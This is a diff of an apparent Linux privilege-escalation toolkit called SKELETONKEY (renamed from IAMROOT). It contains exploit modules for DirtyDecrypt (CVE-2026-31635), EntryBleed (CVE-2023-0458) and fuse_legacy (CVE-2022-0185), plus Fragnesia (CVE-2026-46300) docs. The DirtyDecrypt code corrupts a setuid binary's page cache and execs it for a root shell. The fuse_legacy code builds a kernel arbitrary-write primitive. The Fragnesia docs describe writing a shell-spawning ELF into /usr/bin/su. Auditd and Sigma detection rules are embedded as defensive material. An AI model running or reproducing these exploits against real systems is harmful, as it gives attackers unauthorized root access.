waitpid(pid, &st, 0);
munmap(map, 4096);
close(rfd);
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
ERR("page-cache corruption failed (status 0x%x)", st);
_exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2);
}
if (no_shell) {
LOG("--no-shell: page cache poisoned, shell not spawned");
LOG("revert with `skeletonkey --cleanup dirtydecrypt`");
_exit(0);
}
LOG("page cache poisoned; exec %s to claim root", target_path);
fflush(NULL);
execlp(target_path, target_path, (char *)NULL);
perror("execlp target");
_exit(2);
}
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
{
dd_verbose = !ctx->json;
if (geteuid() == 0) {
fprintf(stderr, "[i] dirtydecrypt: already root — nothing to do\n");
return SKELETONKEY_OK;
}
const char *target = dd_pick_target();
if (!target) {
ERR("no readable setuid-root binary to use as a carrier");
return SKELETONKEY_PRECOND_FAIL;
}
LOG("target carrier: %s", target);
/* Record the target so cleanup() knows what to evict. */
int sf = open("/tmp/skeletonkey-dirtydecrypt.target",
O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); }
srand(time(NULL) ^ getpid());
pid_t pid = fork();
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (pid == 0)
dd_child(target, ctx->no_shell); /* never returns on shell path */
int st;
waitpid(pid, &st, 0);
if (!WIFEXITED(st))
return SKELETONKEY_EXPLOIT_FAIL;
switch (WEXITSTATUS(st)) {
case 0: return SKELETONKEY_EXPLOIT_OK;
case 4: return SKELETONKEY_PRECOND_FAIL;
default: return SKELETONKEY_EXPLOIT_FAIL;
}
}
/* ---- cleanup ------------------------------------------------------ */
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
{
dd_verbose = !ctx->json;
char target[256] = {0};
int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY);
if (sf >= 0) {
ssize_t n = read(sf, target, sizeof(target) - 1);
if (n > 0) target[n] = '\0';
close(sf);
}
if (target[0]) {
LOG("evicting %s from page cache", target);
dd_evict(target);
unlink("/tmp/skeletonkey-dirtydecrypt.target");
} else {
LOG("no recorded target; evicting all candidate carriers");
for (int i = 0; dd_targets[i]; i++)
dd_evict(dd_targets[i]);
}
return SKELETONKEY_OK;
}
#else /* !__linux__ */
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirtydecrypt: Linux-only module "
"(AF_RXRPC / rxgk) — not applicable on this platform\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirtydecrypt: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ---- detection rules (embedded) ----------------------------------- */
static const char dd_auditd[] =
"# DirtyDecrypt (CVE-2026-31635) — auditd detection rules\n"
"# rxgk in-place decrypt corrupts the page cache of a read-only file.\n"
"# Watches every payload carrier in dd_targets[] plus credential files.\n"
"-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n"
"-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n"
"-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt\n"
"-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt\n"
"-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt\n"
"-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n"
"-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n"
"# AF_RXRPC socket creation by non-root (family 33) — core of the trigger\n"
"-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n"
"# rxrpc security keys added to the keyring\n"
"-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n"
"# splice() drives the page-cache pages into the forged DATA packet\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
static const char dd_sigma[] =
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
"status: experimental\n"
"description: |\n"
" Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n"
" DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n"
" followed by modification of a setuid-root binary or /etc/passwd.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" modification:\n"
" type: 'PATH'\n"
" name|startswith: ['/usr/bin/su', '/bin/su', '/usr/bin/mount',\n"
" '/usr/bin/passwd', '/usr/bin/chsh', '/etc/passwd', '/etc/shadow']\n"
" not_root:\n"
" auid|expression: '!= 0'\n"
" condition: modification and not_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n";
const struct skeletonkey_module dirtydecrypt_module = {
.name = "dirtydecrypt",
.cve = "CVE-2026-31635",
.summary = "rxgk missing-COW in-place decrypt → page-cache write into a setuid binary",
.family = "dirtydecrypt",
.kernel_range = "Linux 7.0 (vulnerable rxgk code added in 7.0); mainline fix commit a2567217 in 7.0",
.detect = dd_detect,
.exploit = dd_exploit,
.mitigate = NULL,
.cleanup = dd_cleanup,
.detect_auditd = dd_auditd,
.detect_sigma = dd_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
void skeletonkey_register_dirtydecrypt(void)
{
skeletonkey_register(&dirtydecrypt_module);
}
@@ -0,0 +1,12 @@
/*
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
*/
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirtydecrypt_module;
#endif
+1 -1
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@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
- Lift the proven EntryBleed code from
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
`module.c` here
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
library helper (`uint64_t entrybleed_leak_kbase(void)`)
- Detection rules: timing-attack pattern flags, perf-counter
anomaly detection (informational — these are hard to make precise
@@ -0,0 +1,23 @@
# NOTICE — entrybleed
## Vulnerability
**CVE-2023-0458** — KPTI `prefetchnta` timing side-channel leaks the
kernel base address (KASLR bypass).
## Research credit
Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
> "EntryBleed: A Universal KASLR Bypass against KPTI on Linux"
> Bert Jan Schijf, Cristiano Giuffrida — USENIX Security 2023
Mainline status: no canonical patch — partial mitigations only.
## SKELETONKEY role
This is a **stage-1 leak primitive**, not a standalone LPE. Other
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
only; the `entry_SYSCALL_64` slot offset is configurable via the
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
@@ -1,5 +1,5 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module
* entrybleed_cve_2023_0458 SKELETONKEY module
*
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
* anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in iamroot_modules.h).
* directly (declared in skeletonkey_modules.h).
*
* x86_64 only. On ARM64 / other arches, detect() returns
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
*
* For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,7 +30,7 @@
* - Subtract its known offset from kbase KASLR slide
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
* is the most direct signal: "Mitigation: PTI" means KPTI is on
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
"assuming KPTI on (conservative)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
"leak yields plausible kbase 0x%lx\n", kbase);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
}
/* Implausible probe result. Either the entry_SYSCALL_64 slot
* offset doesn't match lts-6.12.x default (different kernel
* build) user should set IAMROOT_ENTRYBLEED_OFFSET or
* build) user should set SKELETONKEY_ENTRYBLEED_OFFSET or
* timing is too noisy. Don't claim CONFIRMED. */
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
unsigned long off = 0;
if (off_env) {
off = strtoul(off_env, NULL, 0);
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
}
} else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF);
}
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->json) {
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL);
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
#else /* not x86_64 */
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#endif
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
static const char entrybleed_sigma[] =
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
"id: 7b3a48d1-iamroot-entrybleed\n"
"id: 7b3a48d1-skeletonkey-entrybleed\n"
"status: experimental\n"
"description: |\n"
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
"level: informational\n"
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
const struct iamroot_module entrybleed_module = {
const struct skeletonkey_module entrybleed_module = {
.name = "entrybleed",
.cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
.detect_falco = NULL,
};
void iamroot_register_entrybleed(void)
void skeletonkey_register_entrybleed(void)
{
iamroot_register(&entrybleed_module);
skeletonkey_register(&entrybleed_module);
}
@@ -1,13 +1,13 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module registry hook
* entrybleed_cve_2023_0458 SKELETONKEY module registry hook
*/
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
#define ENTRYBLEED_IAMROOT_MODULES_H
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
#define ENTRYBLEED_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module entrybleed_module;
extern const struct skeletonkey_module entrybleed_module;
/* Library entry point for other modules that need a kbase leak.
* Returns the leaked kernel _text base on success, or 0 on failure
@@ -0,0 +1,87 @@
# fragnesia — CVE-2026-46300
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
> a vulnerable-kernel VM** — see _Verification status_ below.
## Summary
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
escalation. `skb_try_coalesce()` fails to propagate the
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
buffers — so the kernel forgets that a fragment is externally backed by
page-cache pages spliced in from a file. The ESP-in-TCP receive path
then decrypts in place, corrupting the page cache of a read-only file.
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
commit it "fixes". It is the same page-cache-write bug class as Copy
Fail / Dirty Frag, reached through a different code path.
## Primitive
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
whose keystream byte XORs the current byte to the target.
2. Enter a mapped **user namespace** + **network namespace**, bring
loopback up, and install an XFRM **ESP-in-TCP** state
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
3. A **receiver** accepts a loopback TCP connection and flips it to the
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
target file into that TCP stream behind a crafted ESP prefix.
4. The coalesce bug makes the kernel decrypt the spliced page-cache
pages in place — one chosen byte per trigger.
The exploit rewrites the first 192 bytes of a setuid-root binary
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
0 and `execve`s `/bin/sh`.
## Operations
| Op | Behaviour |
|---|---|
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
| `--detect-rules` | Emits embedded auditd + sigma rules. |
## Preconditions
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
(or chain a separate bypass). This is the scoping question the old
`_stubs/fragnesia_TBD` raised; the module ships and reports
`PRECOND_FAIL` cleanly when the userns gate is closed.
- `CONFIG_INET_ESPINTCP` built into the kernel.
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
- x86_64 (the embedded ELF payload is x86_64 shellcode).
## Port notes
The upstream PoC renders a full-screen ANSI "smash frame" TUI
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
ported — it cannot coexist with a shared multi-module dispatcher.
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
The exploit mechanism itself is reproduced faithfully.
## Verification status
This module is a **faithful port** of
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
into the SKELETONKEY module interface. The **exploit body** has not
been validated end-to-end against a known-vulnerable kernel inside the
SKELETONKEY CI matrix.
**`detect()` is now version-pinned**: the Fragnesia fix ships in
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
6.12) are currently still vulnerable per the tracker. With `--active`,
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
and reports empirically — catches stable-branch backports the version
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
primitive is structurally unreachable.
**Before promoting to 🟢:** validate the exploit end-to-end on a
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
@@ -0,0 +1,48 @@
# NOTICE — fragnesia
## Vulnerability
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
local privilege escalation. `skb_try_coalesce()` fails to propagate the
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
buffers, so the kernel loses track of the fact that a fragment is
externally backed by page-cache pages spliced in from a file. The
ESP-in-TCP receive path then decrypts in place, corrupting the page
cache of a read-only file.
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
the candidate fix explicitly cites the Dirty Frag patch
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
made a previously latent flaw practically exploitable.
## Research credit
Discovered by **William Bowling** with the **V12 security** team.
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
## SKELETONKEY role
`skeletonkey_modules.c` is a port of the V12 PoC
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
interface. The exploit primitive — the AES-GCM keystream-byte table
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
192-byte ELF payload — is reproduced from that PoC.
**Port adaptation:** the PoC's ANSI "smash frame" TUI
(`draw_smash_frame` + terminal scroll-region escape sequences) is
**not** carried over — it is incompatible with running as one module
among many under a shared dispatcher. Progress is reported with
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
support, and the embedded detection rules. Research credit belongs to
the people above.
## Verification status
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
creation. The CVE-2026-46300 fix commit is not yet pinned in this
module — see `MODULE.md`.
@@ -0,0 +1,31 @@
# Fragnesia (CVE-2026-46300) — auditd detection rules
#
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
# read-only file. These rules flag the syscall surface the exploit
# drives and writes to the setuid binaries it targets.
#
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
# skeletonkey --detect-rules --format=auditd | sudo tee \
# /etc/audit/rules.d/99-skeletonkey.rules
# Modification of common payload carriers / credential files
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
-w /bin/su -p wa -k skeletonkey-fragnesia
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
-w /etc/passwd -p wa -k skeletonkey-fragnesia
-w /etc/shadow -p wa -k skeletonkey-fragnesia
# AF_ALG socket creation (family 38) — builds the GCM keystream table
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
# XFRM state setup over NETLINK_XFRM
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
# TCP_ULP espintcp + ESP setsockopt surface
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
# splice() drives page-cache pages into the ESP-in-TCP stream
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
@@ -0,0 +1,30 @@
title: Possible Fragnesia exploitation (CVE-2026-46300)
id: 9b3d2e71-skeletonkey-fragnesia
status: experimental
description: |
Detects the file-modification footprint of the Fragnesia XFRM
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
of a setuid-root binary or credential file, typically inside a
freshly created user + network namespace.
references:
- https://github.com/v12-security/pocs/tree/main/fragnesia
- https://lists.openwall.net/netdev/2026/05/13/79
logsource:
product: linux
service: auditd
detection:
modification:
type: 'PATH'
name|startswith:
- '/usr/bin/su'
- '/bin/su'
- '/etc/passwd'
- '/etc/shadow'
not_root:
auid|expression: '!= 0'
condition: modification and not_root
level: high
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2026.46300
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,12 @@
/*
* fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
*/
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
#define FRAGNESIA_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module fragnesia_module;
#endif
@@ -0,0 +1,32 @@
# NOTICE — fuse_legacy (CVE-2022-0185)
## Vulnerability
**CVE-2022-0185**`legacy_parse_param` in fsconfig() doesn't validate
`PAGE_SIZE` against the running `fs_context`'s key/value length →
4 KB heap OOB write → cross-cache UAF → cred overwrite from a
rootless container.
## Research credit
Discovered and disclosed by **William Liu** + **Jamie Hill-Daniel**
(Crusaders of Rust), January 2022.
Original writeup: <https://www.willsroot.io/2022/01/cve-2022-0185.html>
Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
Upstream fix: mainline 5.16.2 (Jan 2022).
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
## SKELETONKEY role
userns+mountns reach, `fsopen("cgroup2")` + double
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
msg_msg cross-cache groom in kmalloc-4k. MSG_COPY read-back detects
whether the OOB landed in an adjacent neighbour — the sanity gate
that prevents fake-success claims.
`--full-chain` extends with forged m_list/m_ts overflow toward
modprobe_path via the shared finisher.
**Container-escape angle** — relevant to rootless docker/podman/snap.
@@ -1,12 +0,0 @@
/*
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
*/
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
#define FUSE_LEGACY_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module fuse_legacy_module;
#endif
@@ -1,5 +1,5 @@
/*
* fuse_legacy_cve_2022_0185 IAMROOT module
* fuse_legacy_cve_2022_0185 SKELETONKEY module
*
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
* parsing the "fsconfig" filesystem option strings specifically,
@@ -38,7 +38,7 @@
*
* On a *patched* host (which is every host we can routinely build
* on in 2026) detect() refuses and exploit() returns
* IAMROOT_PRECOND_FAIL with no syscalls.
* SKELETONKEY_PRECOND_FAIL with no syscalls.
*
* Affected: kernel 5.1+ until fix:
* Mainline fix: 722d94847de29 (Jan 18 2022) lands in 5.16.2
@@ -57,17 +57,23 @@
* is enabled.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
@@ -153,62 +159,58 @@ static const struct kernel_range fuse_legacy_range = {
sizeof(fuse_legacy_patched_branches[0]),
};
static int can_unshare_userns_mount(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
/* ------------------------------------------------------------------ */
/* detect */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] fuse_legacy: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
* kernels predate the code path entirely. */
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
v.release);
v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
bool patched = kernel_range_is_patched(&fuse_legacy_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns_mount();
/* user_ns availability comes from the shared host fingerprint. The
* fingerprint's probe uses CLONE_NEWUSER alone; this module also
* needs CLONE_NEWNS, but the kernel gates both on the same userns
* sysctls (kernel.unprivileged_userns_clone / AppArmor restriction),
* so the userns probe is a sound proxy. */
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
"unprivileged exploit unreachable\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] fuse_legacy: VULNERABLE — kernel in range AND "
@@ -216,7 +218,7 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] fuse_legacy: container-escape relevant for rootless "
"docker/podman/snap setups\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------ */
@@ -363,7 +365,7 @@ static int trigger_overflow(int *out_fd, const char *first_chunk,
* On a vulnerable host with matching offsets this path can land the
* write; on an unverified host the sanity gate refuses rather than
* blind-writing a wild pointer. The finisher's downstream
* "/tmp/iamroot-pwn ran?" check is the second gate.
* "/tmp/skeletonkey-pwn ran?" check is the second gate.
*/
struct fuse_arb_ctx {
/* Pre-allocated queue ids from the spray phase. */
@@ -371,14 +373,13 @@ struct fuse_arb_ctx {
int n_queues;
int hole_q;
/* Tagged-payload reference so we can recognise unmodified neighbours. */
const char *tag; /* "IAMROOT" */
const char *tag; /* "SKELETONKEY" */
/* Whether the first-round trigger already fired (the parent's
* default-path overflow). When set we re-spray + re-fire; when
* unset we assume the spray is hot. */
bool trigger_armed;
};
#ifdef __linux__
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
@@ -504,34 +505,28 @@ static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
(unsigned long)kaddr);
return 0;
}
#else
static int fuse_arb_write(uintptr_t kaddr, const void *buf, size_t len,
void *ctx_void)
{
